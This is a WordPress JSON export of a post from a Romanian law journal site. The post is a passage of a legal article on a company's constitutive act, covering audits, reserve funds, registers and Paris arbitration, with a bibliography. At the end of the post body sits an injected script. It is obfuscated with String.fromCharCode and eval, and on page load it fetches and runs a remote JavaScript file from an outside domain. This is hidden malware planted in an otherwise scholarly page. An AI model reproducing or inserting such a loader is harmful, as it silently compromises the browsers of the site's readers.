#000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Auditul financiar, exerci\u0163iul financiar, fondurile de rezerv\u0103<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Situa\u0163iile financiare ale societ\u0103\u0163ii vor fi auditate de catre un auditor financiar extern autorizat. Adunarea general\u0103 a ac\u0163ionarilor va putea aproba situa\u0163iile financiare anuale ale societ\u0103\u0163ii numai dac\u0103 acestea vor fi \u00eenso\u0163ite de raportul auditorului financiar extern.Auditarea intern\u0103 a societ\u0103\u0163ii va fi organizat\u0103 potrivit normelor elaborate de Camera Auditorilor Financiari din Rom\u00e2nia \u015fi a prevederilor legale \u00een vigoare.Printre altele auditorii interni sunt obliga\u0163i s\u0103 supravegheze gestiunea societ\u0103\u0163ii, s\u0103 verifice dac\u0103 situa\u0163iile financiare sunt \u00eentocmite potrivit legii \u015fi \u00een concordan\u0163\u0103 cu registrele \u015fi dac\u0103 acestea din urm\u0103 sunt \u0163inute regulat.Anul financiar corespunde anului celendaristic. Contabilitatea, bilan\u0163ul c\u00e2t \u015fi contul de profit \u015fi pierderi se vor \u00eentocmi potrivit prevederilor legale \u00een vigoare.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Fondul de rezerv\u0103 legal\u0103 se constituie potrivit art. 183 din Legea nr. 31\/1990 cu modific\u0103rile \u015fi complet\u0103rile ulterioare. Din profitul societ\u0103\u0163ii se va prelua, \u00een fiecare an, cel putin 5% pentru formrea fondului de rezerv\u0103 legal\u0103, p\u00e2n\u0103 ce acesta va atinge minimum a cincea parte din capitalul social. \u00cen cazurile \u00een care fondul de rezerv\u0103 constituit s-a mic\u015forat, indiferent de cauz\u0103, va fi completat potrivit prevederilor legale \u00een vigoare.Fondurile de rezerv\u0103 tehnice se constituie \u015fi se administreaz\u0103 \u00een conformitate cu reglement\u0103rile interne ale societ\u0103\u0163ii, elaborate \u00een conformitate cu prevederile Legii nr. 32\/2000 \u015fi \u00een baza normelor emise de Comisia de Supravegere a Asigur\u0103rilor.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Registrele societatii<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Societatea va \u0163ine eviden\u0163ele \u015fi registrele prev\u0103zute de c\u0103tre Legea 31\/1990 cu modific\u0103rile \u015fi complet\u0103rile ulterioare c\u00e2t \u015fi de c\u0103tre Legea 32\/2000 cu modific\u0103rile \u015fi complet\u0103rile ulterioare.R\u0103spundrea cu privire la existen\u0163a registrelor cerute de lege \u015fi corecta lor \u0163inere revine Directoratului cu excep\u0163ia registrului \u015fedintelor \u015fi deliber\u0103rilor Consiliului de Supraveghere \u015fi registrului deliber\u0103rilor \u015fi constat\u0103rilor f\u0103cute de auditorii interni.Registrul ac\u0163ionarilor se va \u0163ine \u00een sistem computerizat. Societatea poate contracta cu o societate de registru independent privat \u0163inerea registrului \u00een sistem computerizat \u015fi efectuarea \u00eenregistr\u0103rilor \u015fi a altor opera\u0163iuni legate de acest registru<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Legea aplicabil\u0103 \u015fi rezolvarea litigiilor<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Prezentul act constitutiv este supus legisla\u0163iei rom\u00e2ne.Ac\u0163ionarii stabilesc de comun acord ca orice litigiu care apare \u00eentre ei sau \u00eentre ac\u0163ionari \u015fi societate \u00een legatura cu prezentul act constitutiv s\u0103 fie supus hot\u0103r\u00e2rilor luate de c\u0103tre o Instan\u0163\u0103 de Arbitraj, excluz\u00e2ndu-se jurisdic\u0163ia unui alt tribunal.Aceast\u0103 Instan\u0163\u0103 de Arbitraj va fi Curtea Interna\u0163ional\u0103 de Arbitraj de la Paris \u2013\u201cLa Cour d&#8217;Arbitrage Internationale de Paris\u201d, care va hot\u0103r\u00ee conform regulilor \u015fi<strong> <\/strong>procedurilor sale, c\u00e2t \u015fi \u00een conformitate cu legisla\u0163ia rom\u00e2n\u0103.Deciziile Curtii Internationale de Arbitraj de la Paris vor fi definitive si obligatorii pentru toate partile implicate.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong>Dispozitii finale<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Prevederile prezentului act constitutiv vor fi completate de prevederile legale in vigoare referitoare la societatile comerciale si la societatile de asigurari.Prezentul act constitutiv poate fi modificat doar prin hotatarea adunarii generale sau a direcoratului, acolo unde exista delegare de competente, ori prin hotararea unei instante judecatoresti;Directoratul va depune la Registrul Comer\u0163ului, \u00een termen de 15 zile dup\u0103 fiecare modificare a actului constitutiv actul modificator \u015fi textul complet al actului constitutiv, actualizat cu toate modific\u0103rile, pentru a fi \u00eenregistrate, \u00een baza hot\u0103r\u00e2rii judec\u0103torului \u2013 delegat.At\u00e2t dizolvarea c\u00e2t \u015fi lichidarea societ\u0103\u0163ii se vor desf\u0103\u015fura potrivit articolelor aferente din Legea 31\/1990, cu modific\u0103rile \u015fi completarile ulterioare.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"> <\/span><\/p>\n<h1 style=\"text-align: justify;\"><span style=\"color: #000000;\">Bibliografie<\/span><\/h1>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em> <\/em><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em>1. <\/em><\/strong><strong><em>Profesor universitar doctor Smaranda Angheni &#8211; ANALELE UNIVERSIT\u0102\u0162II TITU MAIORESCU _ SERIA DREP Anul VII<\/em><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em>2. <\/em><\/strong><a href=\"http:\/\/www.google.ro\/\"><strong><em>www.google.ro<\/em><\/strong><\/a><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em>3. <\/em><\/strong><a href=\"http:\/\/www.generali.ro\/\"><strong><em>www.generali.ro<\/em><\/strong><\/a><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em>4. <\/em><\/strong><strong><em>Drept Comercial\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Curs universitar Editia 4 Editura C.H. Beck<\/em><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em> Autori: Smaranda Anghenii<\/em><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><strong><em> Magda Volonciu<\/em><\/strong><\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"color: #000000;\">Camelia Stoica<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><cite><strong><em>5. <\/em><\/strong><\/cite><a href=\"http:\/\/www.bcr.ro\/\"><strong><em>www.bcr.ro<\/em><\/strong><\/a><cite><\/cite><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><br \/>\n<\/span><\/p>\n<hr style=\"text-align: justify;\" size=\"1\" \/>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><a href=\"#_ftnref1\">[1]<\/a> M. Cozian, A. Viandier, F. Deboissy, Droit des soci\u00e9t\u00e9s, Ed. Litec, 16 ed Paris, 2003,<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">p.325 \u2013 335. P. Dalion, Droit des soci\u00e9t\u00e9s, ITEC, Paris, 2006.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><a href=\"#_ftnref2\">[2]<\/a> P. Dalian, op. idem p. 57-58<\/span><\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>INTRODUCERE Una dintre m\u0103surile legislative de absolut\u0103 noutate introduse pe scena dreptului rom\u00e2nesc privind societ\u0103\u0163ile comerciale, este posibilitatea administr\u0103rii acestora \u00een sistem dualist.\u00censcriindu-se pe linia recept\u0103rii si aplic\u0103rii principiilor guvern\u0103rii corporatiste adoptate de c\u0103tre O.C.E.D., legiuitorul rom\u00e2n, prin Legea nr. 441\/2006 de modificare a Legii nr. 31\/1990 privind societ\u0103\u0163ile comerciale, a reglementat modul de conducere [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[26,83],"tags":[117,116,118],"_links":{"self":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/472"}],"collection":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/comments?post=472"}],"version-history":[{"count":2,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/472\/revisions"}],"predecessor-version":[{"id":474,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/472\/revisions\/474"}],"wp:attachment":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/media?parent=472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/categories?post=472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/tags?post=472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}